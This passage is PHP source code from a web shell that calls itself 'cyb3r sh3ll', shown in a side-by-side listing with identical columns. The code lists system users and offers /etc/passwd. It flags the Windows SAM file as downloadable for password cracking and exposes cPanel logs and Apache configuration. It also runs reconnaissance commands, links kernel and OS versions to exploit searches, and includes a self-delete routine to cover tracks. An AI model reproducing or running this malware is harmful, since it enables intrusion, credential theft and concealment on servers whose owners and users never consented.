| 2981 | $i = $nixpwd_s; | 2981 | $i = $nixpwd_s; |
| 2982 | 2982 | ||
| 2983 | while ($i < $nixpwd_e) | 2983 | while ($i < $nixpwd_e) |
| 2984 | 2984 | ||
| 2985 | { | 2985 | { |
| 2986 | 2986 | ||
| 2987 | $uid = posix_getpwuid($i); | 2987 | $uid = posix_getpwuid($i); |
| 2988 | 2988 | ||
| 2989 | if ($uid) | 2989 | if ($uid) |
| 2990 | 2990 | ||
| 2991 | { | 2991 | { |
| 2992 | 2992 | ||
| 2993 | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; | 2993 | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; |
| 2994 | 2994 | ||
| 2995 | echo join(":",$uid)."<br>"; | 2995 | echo join(":",$uid)."<br>"; |
| 2996 | 2996 | ||
| 2997 | } | 2997 | } |
| 2998 | 2998 | ||
| 2999 | $i++; | 2999 | $i++; |
| 3000 | 3000 | ||
| 3001 | } | 3001 | } |
| 3002 | 3002 | ||
| 3003 | } | 3003 | } |
| 3004 | 3004 | ||
| 3005 | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} | 3005 | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} |
| 3006 | 3006 | ||
| 3007 | } | 3007 | } |
| 3008 | 3008 | ||
| 3009 | else | 3009 | else |
| 3010 | { | 3010 | { |
| 3011 | $v = $_SERVER["WINDIR"]."\repair\sam"; | 3011 | $v = $_SERVER["WINDIR"]."\repair\sam"; |
| 3012 | 3012 | ||
| 3013 | if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} | 3013 | if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} |
| 3014 | 3014 | ||
| 3015 | else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} | 3015 | else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} |
| 3016 | } | 3016 | } |
| 3017 | 3017 | ||
| 3018 | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} | 3018 | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} |
| 3019 | 3019 | ||
| 3020 | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} | 3020 | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} |
| 3021 | 3021 | ||
| 3022 | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} | 3022 | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
| 3023 | 3023 | ||
| 3024 | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} | 3024 | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
| 3025 | 3025 | ||
| 3026 | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} | 3026 | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} |
| 3027 | 3027 | ||
| 3028 | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} | 3028 | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} |
| 3029 | 3029 | ||
| 3030 | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} | 3030 | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} |
| 3031 | 3031 | ||
| 3032 | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} | 3032 | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} |
| 3033 | 3033 | ||
| 3034 | displaysecinfo("OS Version?",myshellexec("cat /proc/version")); | 3034 | displaysecinfo("OS Version?",myshellexec("cat /proc/version")); |
| 3035 | 3035 | ||
| 3036 | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); | 3036 | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); |
| 3037 | 3037 | ||
| 3038 | displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); | 3038 | displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); |
| 3039 | 3039 | ||
| 3040 | displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); | 3040 | displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); |
| 3041 | 3041 | ||
| 3042 | displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); | 3042 | displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); |
| 3043 | 3043 | ||
| 3044 | displaysecinfo("RAM",myshellexec("free -m")); | 3044 | displaysecinfo("RAM",myshellexec("free -m")); |
| 3045 | 3045 | ||
| 3046 | displaysecinfo("HDD space",myshellexec("df -h")); | 3046 | displaysecinfo("HDD space",myshellexec("df -h")); |
| 3047 | 3047 | ||
| 3048 | displaysecinfo("List of Attributes",myshellexec("lsattr -a")); | 3048 | displaysecinfo("List of Attributes",myshellexec("lsattr -a")); |
| 3049 | 3049 | ||
| 3050 | displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); | 3050 | displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); |
| 3051 | 3051 | ||
| 3052 | displaysecinfo("Is cURL installed?",myshellexec("which curl")); | 3052 | displaysecinfo("Is cURL installed?",myshellexec("which curl")); |
| 3053 | 3053 | ||
| 3054 | displaysecinfo("Is lynx installed?",myshellexec("which lynx")); | 3054 | displaysecinfo("Is lynx installed?",myshellexec("which lynx")); |
| 3055 | 3055 | ||
| 3056 | displaysecinfo("Is links installed?",myshellexec("which links")); | 3056 | displaysecinfo("Is links installed?",myshellexec("which links")); |
| 3057 | 3057 | ||
| 3058 | displaysecinfo("Is fetch installed?",myshellexec("which fetch")); | 3058 | displaysecinfo("Is fetch installed?",myshellexec("which fetch")); |
| 3059 | 3059 | ||
| 3060 | displaysecinfo("Is GET installed?",myshellexec("which GET")); | 3060 | displaysecinfo("Is GET installed?",myshellexec("which GET")); |
| 3061 | 3061 | ||
| 3062 | displaysecinfo("Is perl installed?",myshellexec("which perl")); | 3062 | displaysecinfo("Is perl installed?",myshellexec("which perl")); |
| 3063 | 3063 | ||
| 3064 | displaysecinfo("Where is apache",myshellexec("whereis apache")); | 3064 | displaysecinfo("Where is apache",myshellexec("whereis apache")); |
| 3065 | 3065 | ||
| 3066 | displaysecinfo("Where is perl?",myshellexec("whereis perl")); | 3066 | displaysecinfo("Where is perl?",myshellexec("whereis perl")); |
| 3067 | 3067 | ||
| 3068 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); | 3068 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); |
| 3069 | 3069 | ||
| 3070 | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); | 3070 | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); |
| 3071 | 3071 | ||
| 3072 | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); | 3072 | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); |
| 3073 | 3073 | ||
| 3074 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); | 3074 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); |
| 3075 | 3075 | ||
| 3076 | } | 3076 | } |
| 3077 | 3077 | ||
| 3078 | if ($act == "mkfile") | 3078 | if ($act == "mkfile") |
| 3079 | 3079 | ||
| 3080 | { | 3080 | { |
| 3081 | if ($mkfile != $d) | 3081 | if ($mkfile != $d) |
| 3082 | 3082 | ||
| 3083 | { | 3083 | { |
| 3084 | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} | 3084 | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} |
| 3085 | 3085 | ||
| 3086 | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} | 3086 | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} |
| 3087 | 3087 | ||
| 3088 | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} | 3088 | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} |
| 3089 | 3089 | ||
| 3090 | } | 3090 | } |
| 3091 | else {$act = $dspact = "ls";} | 3091 | else {$act = $dspact = "ls";} |
| 3092 | 3092 | ||
| 3093 | } | 3093 | } |
| 3094 | 3094 | ||
| 3095 | if ($act == "encoder") | 3095 | if ($act == "encoder") |
| 3096 | 3096 | ||
| 3097 | { | 3097 | { |
| 3098 | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; | 3098 | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; |
| 3099 | 3099 | ||
| 3100 | foreach(array("md5","crypt","sha1","crc32") as $v) | 3100 | foreach(array("md5","crypt","sha1","crc32") as $v) |
| 3101 | 3101 | ||
| 3102 | { | 3102 | { |
| 3103 | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; | 3103 | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; |
| 3104 | } | 3104 | } |
| 3105 | 3105 | ||
| 3106 | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> | 3106 | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> |
| 3107 | 3107 | ||
| 3108 | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> | 3108 | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> |
| 3109 | 3109 | ||
| 3110 | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; | 3110 | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; |
| 3111 | 3111 | ||
| 3112 | echo "<center>base64_decode - "; | 3112 | echo "<center>base64_decode - "; |
| 3113 | 3113 | ||
| 3114 | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} | 3114 | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} |
| 3115 | 3115 | ||
| 3116 | else | 3116 | else |
| 3117 | 3117 | ||
| 3118 | { | 3118 | { |
| 3119 | 3119 | ||
| 3120 | $debase64 = base64_decode($encoder_input); | 3120 | $debase64 = base64_decode($encoder_input); |
| 3121 | 3121 | ||
| 3122 | $debase64 = str_replace("\0","[0]",$debase64); | 3122 | $debase64 = str_replace("\0","[0]",$debase64); |
| 3123 | 3123 | ||
| 3124 | $a = explode("\r\n",$debase64); | 3124 | $a = explode("\r\n",$debase64); |
| 3125 | 3125 | ||
| 3126 | $rows = count($a); | 3126 | $rows = count($a); |
| 3127 | 3127 | ||
| 3128 | $debase64 = htmlspecialchars($debase64); | 3128 | $debase64 = htmlspecialchars($debase64); |
| 3129 | 3129 | ||
| 3130 | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} | 3130 | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} |
| 3131 | 3131 | ||
| 3132 | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} | 3132 | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} |
| 3133 | 3133 | ||
| 3134 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; | 3134 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; |
| 3135 | 3135 | ||
| 3136 | } | 3136 | } |
| 3137 | 3137 | ||
| 3138 | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; | 3138 | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; |
| 3139 | 3139 | ||
| 3140 | $c = strlen($encoder_input); | 3140 | $c = strlen($encoder_input); |
| 3141 | 3141 | ||
| 3142 | for($i=0;$i<$c;$i++) | 3142 | for($i=0;$i<$c;$i++) |
| 3143 | 3143 | ||
| 3144 | { | 3144 | { |
| 3145 | $hex = dechex(ord($encoder_input[$i])); | 3145 | $hex = dechex(ord($encoder_input[$i])); |
| 3146 | 3146 | ||
| 3147 | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} | 3147 | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} |
| 3148 | 3148 | ||
| 3149 | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} | 3149 | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} |
| 3150 | } | 3150 | } |
| 3151 | 3151 | ||
| 3152 | echo "\" readonly><br></center></form>"; | 3152 | echo "\" readonly><br></center></form>"; |
| 3153 | 3153 | ||
| 3154 | } | 3154 | } |
| 3155 | 3155 | ||
| 3156 | if ($act == "selfremove") | 3156 | if ($act == "selfremove") |
| 3157 | { | 3157 | { |
| 3158 | if (($submit == $rndcode) and ($submit != "")) | 3158 | if (($submit == $rndcode) and ($submit != "")) |
| 3159 | 3159 | ||
| 3160 | { | 3160 | { |
| 3161 | 3161 | ||
| 3162 | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using cyb3r sh3ll v.".$shver."!"; cyb3rexit(); } | 3162 | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using cyb3r sh3ll v.".$shver."!"; cyb3rexit(); } |
| 3163 | 3163 | ||
| 3164 | else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} | 3164 | else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} |
| 3165 | 3165 | ||
| 3166 | } | 3166 | } |
| 3167 | 3167 | ||
| 3168 | else | 3168 | else |
| 3169 | 3169 | ||
| 3170 | { | 3170 | { |
| 3171 | 3171 | ||
| 3172 | if (!empty($rndcode)) {echo "<b>Error: Incorrect Confimation!</b>";} | 3172 | if (!empty($rndcode)) {echo "<b>Error: Incorrect Confimation!</b>";} |
| 3173 | 3173 | ||
| 3174 | $rnd = rand(0,9).rand(0,9).rand(0,9); | 3174 | $rnd = rand(0,9).rand(0,9).rand(0,9); |
| 3175 | 3175 | ||
| 3176 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>"; | 3176 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>"; |
| 3177 | 3177 | ||
| 3178 | } | 3178 | } |
| 3179 | 3179 | ||
| 3180 | } | 3180 | } |
| 3181 | 3181 | ||
| 3182 | if ($act == "serverinfo") | 3182 | if ($act == "serverinfo") |
| 3183 | { | 3183 | { |
| 3184 | 3184 | ||
| 3185 | global $windows,$disablefunctions,$safemode; | 3185 | global $windows,$disablefunctions,$safemode; |
| 3186 | $cwd= getcwd(); | 3186 | $cwd= getcwd(); |
| 3187 | $mil="<a target=\"_blank\" href=\"http://www.exploit-db.com/search/?action=search&filter_exploit_text="; | 3187 | $mil="<a target=\"_blank\" href=\"http://www.exploit-db.com/search/?action=search&filter_exploit_text="; |
| 3188 | $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF"; | 3188 | $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF"; |
| 3189 | if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; | 3189 | if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; |
| 3190 | $osver=$tsize=$fsize=''; | 3190 | $osver=$tsize=$fsize=''; |
| 3191 | if ($windows){ | 3191 | if ($windows){ |
| 3192 | $osver = " (".shelL("ver").")"; | 3192 | $osver = " (".shelL("ver").")"; |
| 3193 | $sysroot = shelL("echo %systemroot%"); | 3193 | $sysroot = shelL("echo %systemroot%"); |
| 3194 | if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"]; | 3194 | if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"]; |
| 3195 | if (empty($sysroot)) $sysroot = getenv("windir"); | 3195 | if (empty($sysroot)) $sysroot = getenv("windir"); |
| 3196 | if (empty($sysroot)) $sysroot = "Not Found"; | 3196 | if (empty($sysroot)) $sysroot = "Not Found"; |
| 3197 | if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); | 3197 | if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); |
| 3198 | for ($i=66;$i<=90;$i++){ | 3198 | for ($i=66;$i<=90;$i++){ |
| 3199 | $drive= chr($i).':\\'; | 3199 | $drive= chr($i).':\\'; |
| 3200 | if (is_dir($drive)){ | 3200 | if (is_dir($drive)){ |
| 3201 | $fsize+=@disk_free_space($drive); | 3201 | $fsize+=@disk_free_space($drive); |
| 3202 | $tsize+=@disk_total_space($drive); | 3202 | $tsize+=@disk_total_space($drive); |
| 3203 | } | 3203 | } |
| 3204 | } | 3204 | } |
| 3205 | }else{ | 3205 | }else{ |
| 3206 | $fsize=disk_free_space('/'); | 3206 | $fsize=disk_free_space('/'); |
| 3207 | $tsize=disk_total_space('/'); | 3207 | $tsize=disk_total_space('/'); |
| 3208 | } | 3208 | } |
| 3209 | $disksize="Used Space: ". showsizE($tsize-$fsize) . " Free Space: ". showsizE($fsize) . " Total Space: ". showsizE($tsize); | 3209 | $disksize="Used Space: ". showsizE($tsize-$fsize) . " Free Space: ". showsizE($fsize) . " Total Space: ". showsizE($tsize); |
| 3210 | if (empty($CPU)) $CPU = "Unknown"; | 3210 | if (empty($CPU)) $CPU = "Unknown"; |
| 3211 | $os = php_unamE(); | 3211 | $os = php_unamE(); |
| 3212 | $osn=php_unamE('s'); | 3212 | $osn=php_unamE('s'); |
| 3213 | if(!$windows){ | 3213 | if(!$windows){ |
| 3214 | $ker = php_unamE('r'); | 3214 | $ker = php_unamE('r'); |
| 3215 | $o=($osn=="Linux")?"Linux+Kernel":$osn; | 3215 | $o=($osn=="Linux")?"Linux+Kernel":$osn; |
| 3216 | $os = str_replace($osn,"${mil}$o\"><font color='yellow'>$osn</font></a>",$os); | 3216 | $os = str_replace($osn,"${mil}$o\"><font color='yellow'>$osn</font></a>",$os); |
| 3217 | $os = str_replace($ker,"${mil}Linux+Kernel\"><font color='yellow'>$ker</font></a>",$os); | 3217 | $os = str_replace($ker,"${mil}Linux+Kernel\"><font color='yellow'>$ker</font></a>",$os); |
| 3218 | $inpa=':'; | 3218 | $inpa=':'; |
| 3219 | }else{ | 3219 | }else{ |
| 3220 | $sam = $sysroot."\\system32\\config\\SAM"; | 3220 | $sam = $sysroot."\\system32\\config\\SAM"; |
| 3221 | $inpa=';'; | 3221 | $inpa=';'; |
| 3222 | $os = str_replace($osn,"${mil}MS+Windows\"><font color='yellow'>$osn</font></a>",$os); | 3222 | $os = str_replace($osn,"${mil}MS+Windows\"><font color='yellow'>$osn</font></a>",$os); |
| 3223 | } | 3223 | } |
| 3224 | $software=str_replace("Apache","${mil}Apache\"><font color='#66ffff'>Apache</font></a>",$_SERVER['SERVER_SOFTWARE']); | 3224 | $software=str_replace("Apache","${mil}Apache\"><font color='#66ffff'>Apache</font></a>",$_SERVER['SERVER_SOFTWARE']); |
| 3225 | echo " | 3225 | echo " |
| 3226 | <table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\" > | 3226 | <table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\" > |
| 3227 | <tr><td><b>Server information:</b></td></tr> | 3227 | <tr><td><b>Server information:</b></td></tr> |
| 3228 | <tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td> | 3228 | <tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td> |
| 3229 | <td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; | 3229 | <td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; |
| 3230 | if (!empty($_SERVER["SERVER_ADDR"])){ | 3230 | if (!empty($_SERVER["SERVER_ADDR"])){ |
| 3231 | echo "(". $_SERVER["SERVER_ADDR"] .")";} | 3231 | echo "(". $_SERVER["SERVER_ADDR"] .")";} |
| 3232 | echo " | 3232 | echo " |
| 3233 | </td></tr> | 3233 | </td></tr> |
| 3234 | <tr><td width=\"25%\" >Operation System:</td> <td >$os$osver</td></tr> | 3234 | <tr><td width=\"25%\" >Operation System:</td> <td >$os$osver</td></tr> |
| 3235 | <tr><td width=\"25%\" bgcolor=\"#666666\">Web server Application:</td> <td bgcolor=\"#666666\">$software</td></tr> | 3235 | <tr><td width=\"25%\" bgcolor=\"#666666\">Web server Application:</td> <td bgcolor=\"#666666\">$software</td></tr> |
| 3236 | <tr><td width=\"25%\" >CPU:</td> <td >$CPU</td></tr> | 3236 | <tr><td width=\"25%\" >CPU:</td> <td >$CPU</td></tr> |
| 3237 | <td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr> | 3237 | <td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr> |
| 3238 | <tr><td width=\"25%\" >User domain:</td><td >"; | 3238 | <tr><td width=\"25%\" >User domain:</td><td >"; |
| 3239 | if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN']; | 3239 | if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN']; |
| 3240 | else echo "Unknown"; | 3240 | else echo "Unknown"; |
| 3241 | echo " | 3241 | echo " |
| 3242 | </td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><a href=\"".$surl."act=processes\" ><font color=#66ffff>User Name </font>:</a></td> | 3242 | </td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><a href=\"".$surl."act=processes\" ><font color=#66ffff>User Name </font>:</a></td> |
| 3243 | <td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user(); | 3243 | <td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user(); |
| 3244 | else echo "Unknown"; echo "</td></tr>"; | 3244 | else echo "Unknown"; echo "</td></tr>"; |
| 3245 | if ($windows){ | 3245 | if ($windows){ |
| 3246 | echo " | 3246 | echo " |
| 3247 | <tr><td width=\"25%\" >Windows directory:</td><td ><a href=\"".$surl."act=ls&d=$sysroot"."\"><font color=yellow>$sysroot</font></a></td></tr><tr> | 3247 | <tr><td width=\"25%\" >Windows directory:</td><td ><a href=\"".$surl."act=ls&d=$sysroot"."\"><font color=yellow>$sysroot</font></a></td></tr><tr> |
| 3248 | <td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">"; | 3248 | <td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">"; |
| 3249 | if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\"> | 3249 | if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\"> |
| 3250 | <font color=#66ffff>Readable</font></a>"; else echo "Not readable";echo "</td></tr>"; | 3250 | <font color=#66ffff>Readable</font></a>"; else echo "Not readable";echo "</td></tr>"; |
| 3251 | } | 3251 | } |
| 3252 | else | 3252 | else |
| 3253 | { | 3253 | { |
| 3254 | echo "<tr><td width=\"25%\" >Passwd file:</td><td >"; | 3254 | echo "<tr><td width=\"25%\" >Passwd file:</td><td >"; |
| 3255 | if (is_readable('/etc/passwd')) echo " | 3255 | if (is_readable('/etc/passwd')) echo " |
| 3256 | <a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; | 3256 | <a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; |
